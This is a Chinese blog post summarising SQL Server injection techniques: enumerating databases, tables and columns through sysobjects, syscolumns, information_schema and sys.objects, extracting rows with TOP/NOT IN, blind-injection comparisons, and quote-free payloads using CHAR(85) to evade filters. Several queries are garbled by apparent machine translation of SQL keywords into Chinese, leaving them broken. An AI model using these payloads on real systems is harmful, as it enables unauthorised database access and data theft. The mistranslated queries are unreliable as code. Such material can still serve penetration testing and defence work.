• SQL服务器攻击总结-注入


    查库
    选择convert(int,db_name())
    sysobjects

    查当前表id
    ,从sysobjects中选择id,xtype ='u'//此处要记录下数据库的id

    syscolumns
    查表对应的列
    select * from syscolumns where id = xxxx //上面查到的id

    1.PNG

    从id = 2105058535的syscolumns中选择前1个名称并命名NOT IN(从id = 2105058535的syscolumns中选择前1个名称)//用TOP和NOT IN来限制数据

    从test1选择TOP 1用户名,其中用户名NOT IN(从test1选择TOP 1用户名)

    2.PNG

    从test1选择TOP 1用户名,其中ID NOT IN(从test1选择TOP 0用户名)

    information_schema
    查表从information_schema.tables中选择table_name,其中table_schema ='dbo'

    3.PNG

    查列从information_schema.columns中选择column_name,其中table_name ='test1'

    5.PNG

    关于sys.objects合sys.columns
    这两个表同样也可以拿来注入存在版本好像是sqlserver 2005版本以上就有之前项目遇到一个注入点但是sysobjects和information_schema给过滤刚好可以用这两个表来达到注入效果
    7,PNG

    77.PNG
    通过object_id来获取列名
    88.png

    实际注入中很少联合查询的注入大多数都是盲注像盲注这种情况可以通过(从sys.objects中选择object_id,其中name ='XXX')> xxxx来判断对应表的object id

    2:无单引号注入
    之前一直没有考虑到单引号这一点最近项目遇到研究以下

    首先是查sysobjectsburstid
    从选择id(从sysobjects中选择xtype = CHAR(85)的id)作为b其中id> 2000000000
    1.PNG

    常见情况
    从ID = 1的aab中选择*和(从xtype = CHAR(85)的sysobjects中选择id)> 10000000000
    2.PNG

    大概就是这样其他大同小异

  • 相关阅读:
    Java帮助文档的生成
    Java内部类
    Java中利用标签跳出外层循环break
    【转】你真的了解word-wrap和word-break的区别吗?
    Office/Access 2013 扩展支持xbase/DBF 文件
    调用cmd.exe执行pdf的合并(pdftk.exe)
    input 数字输入控制(含小数)
    iis7.5 发布mvc出错的解决办法
    table中超过长度的列,显示省略号
    本地图片的预览和上传
  • 原文地址:https://www.cnblogs.com/M0rta1s/p/11920866.html
Copyright © 2020-2023  润新知